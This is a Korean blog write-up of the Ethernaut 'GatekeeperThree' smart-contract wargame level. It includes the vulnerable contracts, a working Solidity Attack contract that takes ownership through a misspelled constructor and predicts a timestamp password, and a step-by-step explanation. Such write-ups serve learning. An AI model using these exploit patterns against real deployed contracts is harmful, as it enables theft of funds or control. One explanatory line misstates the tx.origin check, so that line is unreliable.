티스토리 뷰

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

Cope with gates and become an entrant.

Things that might help:

- Recall return values of low-level functions.
- Be attentive with semantic.
- Refresh how storage works in Ethereum.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

2. 풀이

 지금껏 풀어왔던 문제들의 총괄 편입니다. 다음 컨트랙트를 사용해 문지기를 뚫어보겠습니다.

contract Attack {
    GatekeeperThree public gate;

    constructor(address payable _gate) {
        gate = GatekeeperThree(_gate);
    }

    function attack() external payable {
        require(msg.value > 0.001 ether);

        (bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
        require(ok);

        gate.construct0r(); // owner = address(this) -> gate 1
        gate.createTrick(); // create trick
        gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2

        gate.enter(); // pass gates
    }

    // should not receive ether from other to pass gate 3
    // receive() external payable {} 
}

 GatekeeperThree 인스턴스의 주소를 인수로 사용하여 컨트랙트를 배포합니다.

 attack 함수를 실행합니다. 이때 0.001 이더를 초과하는 양의 이더를 함께 보냅니다.

 트랜잭션이 컨펌되고 나면 entrant 값이 자신의 주소로 변한 것을 확인할 수 있습니다.

 인스턴스를 제출하고 마무리합니다.


3. 공격 과정 풀이

0. GatekeeperThree 컨트랙트의 상태 변수는 다음과 같이 선언되어 있습니다. 이 값들은 모두 zero value로 초기화되어 있습니다.

address public owner; // 0x00
address public entrant; // 0x00
bool public allowEntrance; // false

SimpleTrick public trick; // 0x00

1. attack 함수를 실행합니다.

function attack() external payable {
    require(msg.value > 0.001 ether);

    (bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
    require(ok);

    gate.construct0r(); // owner = address(this) -> gate 1
    gate.createTrick(); // create trick
    gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2

    gate.enter(); // pass gates
}

2. 메시지에 포함된 이더가 0.001을 초과하는지 확인하고 이를 GatekeeperThree 인스턴스에게 전송합니다. GatekeeperThree 컨트랙트에는 fallback 함수가 정의되어 있으므로 문제없이 이더를 받습니다.

require(msg.value > 0.001 ether);

(bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
require(ok);
receive () external payable {}

3. GatekeeperThree 컨트랙트의 contruct0r 함수를 실행합니다. 이름과 에서 알 수 있다시피 생성자 함수로 사용하기 위해 선언하였지만, 철자를 틀리는 바람에 누구나 호출하여 owner가 될 수 있는 함수로 전락해 버렸습니다. 이제 GatekeeperThree 컨트랙트의 주인은 Attack 컨트랙트가 되었습니다.

gate.construct0r();
function construct0r() public {
    owner = msg.sender;
}

4. GatekeeperThree 컨트랙트의 createTrick 함수를 호출하여 SimpleTrick 인스턴스를 생성합니다.

gate.createTrick();
function createTrick() public {
  trick = new SimpleTrick(payable(address(this)));
  trick.trickInit();
}
function trickInit() public {
  trick = address(this);
}

5. GatekeeperThree 컨트랙트의 getAllowance 함수를 호출합니다. 이때 인수로 block.timestamp를 넘겨줍니다.

gate.getAllowance(block.timestamp);
function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
}
function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
        return true;
    }
    password = block.timestamp;
    return false;
}

 block.timestamp를 _password로 사용하는 이유는 SimpleTrick 인스턴스가 생성될 때 password가 block.timestamp로 초기화되기 때문입니다. 인스턴스 생성과 getAllowance 함수 호출이 attack이라는 하나의 함수, 나아가 하나의 트랜잭션 그리고 하나의 블록에 포함되므로 결과적으로 _password와 password는 동일한 값으로, GatekeeperThree 인스턴스의 allowEntrance 값은 true로 변경됩니다.

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;
  
  ...
}

6. 마지막으로 GatekeeperThree 컨트랙트의 enter 함수를 호출합니다.

gate.enter();
function enter() public gateOne gateTwo gateThree {
  entrant = tx.origin;
}

 먼저 첫 번째 관문에 멈춰 섭니다. 앞서 owner를 Attack 컨트랙트의 주소로 설정했기 때문에 msg.sender = owner가 성립합니다. 이어서 tx.origin은 사용자의 계정 주소고 owner는 컨트랙트 주소이므로 tx.origin = owner 또한 성립합니다. 이렇게 첫 번째 관문을 통과합니다.

modifier gateOne() {
  require(msg.sender == owner);
  require(tx.origin != owner);
  _;
}

 두 번째 관문입니다. 앞서 SimpleTrick 인스턴스를 생성하고 비밀번호를 맞춰서 GatekeeperThree 인스턴스의 allowEntrance를 true로 설정해 놓았습니다. 두 번째 관문 또한 가볍게 통과합니다.

modifier gateTwo() {
  require(allowEntrance == true);
  _;
}

 세 번째 관문입니다. attack 함수를 호출하는 초반부에서 Gatekeeper 인스턴스로 0.001을 초과하는 이더를 전송하여 인스턴스의 잔액을 늘려 놓았으므로 첫 번째 조건을 만족합니다. 두 번째 조건은 owner인 Attack 컨트랙트에게 0.001 이더를 전송하는 것이 실패해야 합니다. 이 경우는 Attack 컨트랙트에 fallback 함수가 정의되어 있지 않기 때문에 selfdestruct를 사용하여 강제로 잔액을 이동시키는 것이 아닌 이상 send나 transfer를 사용하여 이더를 전송하는 것은 불가능합니다. 따라서 두 번째 조건 또한 만족하여 세 번째 관문을 통과할 수 있습니다. 

modifier gateThree() {
  if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
    _;
  }
}
// receive() external payable {}

 결과적으로 entrant 값은 tx.origin, 사용자의 계정 주소로 설정이 됩니다.

entrant = tx.origin;

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 18. MagicNumber  (0) 2024.02.15
[Ethernaut] 29. Switch  (0) 2024.02.07
[Ethernaut] 27. Good Samaritan  (1) 2024.02.05
[Ethernaut] 23. Dex Two  (0) 2024.02.04
[Ethernaut] 22. Dex  (0) 2024.02.03
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함